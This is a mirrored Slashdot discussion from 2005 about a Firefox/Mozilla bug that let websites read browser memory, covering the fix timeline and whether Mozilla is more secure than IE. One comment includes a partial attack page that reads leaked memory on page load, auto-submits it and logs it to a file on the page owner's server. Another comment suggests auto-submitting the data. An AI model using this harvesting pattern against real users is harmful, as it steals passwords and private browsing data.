Slashdot Mirror


Mozilla / Firefox Memory Exposure Vulnerability

JimmyM writes "Secunia has a story regarding a new severe vulnerability in the Mozilla Suite and Firefox browser, which can be exploited by any web site to read all memory, which the browser process has access to. No patch is available from Mozilla. A demonstration is available here."

10 of 132 comments (clear)

  1. Re:Confusing write-up by cjsnell · · Score: 5, Informative

    Can a remote site actually get access to this information, or is it only displayable on the screen?

    The data is being displayed within a TEXTAREA box, so it's probably as simple as adding an onClick="javascript:document.form.submit();" (or onMouseOver, etc.) to the document.

    Yes, this is very dangerous.

  2. I'm shocked! by samael · · Score: 5, Interesting

    I seem to recall that every time an IE bug appeared people would say that Mozilla was much more secure, and that it wasn't just that IE was targetted by hackers because of the popularity, but that the software was inherently more secure.

    But now it seems there are patches for Mozilla every few weeks for _exactly_ the same kind of problems that IE used to get slated for.

    Is Mozilla actually more secure? Or is it just as bad as any other piece of software?

    1. Re:I'm shocked! by Ogerman · · Score: 4, Interesting

      Is Mozilla actually more secure? Or is it just as bad as any other piece of software?

      In terms of design decisions, you might easily say that Mozilla is more secure than IE. (not being integrated with OS and all..) In terms of coding bugs, Mozilla is no different than any other super complex piece of software. But there's another way to look at it. Because the Mozilla code is open, we might expect an ugly rash of bugs to be found near the beginning of its rise to popularity. But we might also expect this to rapidly taper off as all the major bugs are found and squashed. So you might say that now is a relatively dangerous time to use Mozilla (instead of say.. Konqueror or Safari). But, on the other hand, it's still not quite popular enough to attract the volume of real-world attacks that IE has received. Honestly, if you're some jerk running a malicious website, are you going to target this quirky bug in Mozilla or the myriad of IE exploits that are sure to pay off?

      What does bother me is that the Mozilla folks haven't taken automated updates seriously enough. I cringe to think of how many Firefox early adopters have no clue what that little red arrow at the top of their screen is. Or if they do, how many dial-up users will be patient enough to wait for the update to download.. which isn't really an update at all but a full copy of the latest version.

  3. Re:Did the Mozilla/Firefox guys ignore a warning? by Vaevictis666 · · Score: 5, Informative

    From the bugzilla bug report (copy it, they disallow /. links):

    Opened: 2005-04-01 13:40 PDT
    Last modified: 2005-04-01 22:39 PDT
    Resolution: FIXED

    So yes they did, it was fixed in under 10 hours, and published 3 days later.

  4. Re:Did the Mozilla/Firefox guys ignore a warning? by klui · · Score: 4, Interesting

    Comments seem to indicate that it's a very old bug...

    ------- Additional Comment #6 From Brendan Eich 2005-04-01 17:49 PDT [reply] -------

    BTW, this bug is like 8+ years old. Roger Lawrence fixed half of it in 2000:

    r=norris,waldemar
    Fixes for bugs#23607, 23608, 23610, 23612, 23613. Also, first cut at URI
    encode & decode routines.

    Unfortunately, AFAICT none of the bugs he cites had anything to do with the two
    hunks of that revision:

    @@ -1061,16 +1080,22 @@ find_replen(JSContext *cx, ReplaceData *
    @@ -1138,16 +1163,17 @@ find_replen(JSContext *cx, ReplaceData *

    that half-fixed the original 1997-era bug. /be

  5. Definately a big hole by RzUpAnmsCwrds · · Score: 4, Insightful

    This is a *huge* hole. In three clicks, it disclosed previous URLs that I had visited, POSTDATA (including my Slashdot password) and a bunch of other stuff.

    If this could be automated (and it easily could be with something like XML-RPC), imagine the possibilities for phishing. Visit a page, have your credit card number disclosed.

    Time for Firefox 1.03.

  6. IE & Opera Unaffected by TFGeditor · · Score: 4, Interesting

    Just for grins, I tried it wi IE and Opera. Just threw up a bunch of XXXXX in the text box.

    Clearly a Mozilla-specific problem.

    --
    Ignorance is curable, stupid is forever.
    1. Re:IE & Opera Unaffected by Zork+the+Almighty · · Score: 4, Insightful

      No, it would be "New Critical IE Vulnerability" and it would be on the front page...

      --

      In Soviet America the banks rob you!
  7. Ok, confirmed by cjsnell · · Score: 4, Informative
    You can write a nasty little page that continuously dumps the 10k bytes of memory data to a file on your server. Here's an example that uses an HTML::Mason page to do this:
    <HTML>
    <HEAD>
    <TITLE>Nasty Demo</TITLE>
    </HEAD>
    <BODY BGCOLOR='#FFFFFF' COLOR='#222222' onLoad="readMemory();">
    <SCRIPT language="JavaScript">
    function genGluck(str){
    var x = str;
    var rx=/end/i;
    x = x.replace(rx,function($1){
    $1.match(rx);
    return "";
    });
    x = x.replace(/^end/,"");
    return x;
    }

    function readMemory()
    {

    First peice of readMemory() removed to satisfy Slashdot crapfilter
    mem = mem.replace(/[^\.\\\:\/\'\(\)\"\_\?\=\%\&\;\#\@\- a-zA-Z0-9]+/g, " ");

    document.nasty.result.value = mem;

    document.nasty.submit();

    }

    </SCRIPT>
    <FORM METHOD=POST NAME='nasty'>
    <INPUT NAME=result TYPE=HIDDEN VALUE='' onClick='readMemory();'>
    </FORM>
    <BR><BR>
    </BODY>
    </HTML>

    <%args>
    $result => ''
    </%args>
    <%init>
    open(OUTFILE,'>>/tmp/outfile');
    print $result OUTFILE;
    close(OUTFILE);
    </%init>
  8. comma by Anonymous Coward · · Score: 5, Insightful
    which can be exploited by any web site to read all memory, which the browser process has access to

    I don't normally complain about the grammar and punctuation of submitters and editors, but in this case it is too significant. The difference between

    read all memory, which the browser process has access to

    and

    read all memory which the browser process has access to

    Is profound. The first form says that the browser has access to all memory. The second form says that the web site has access to all the memory to which the browser also has access. Catching and fixing stuff like this is what an editor does. If Slashdot's people can't do that, then don't call them editors. Call them "Dudes Who Click Approve," or something like that.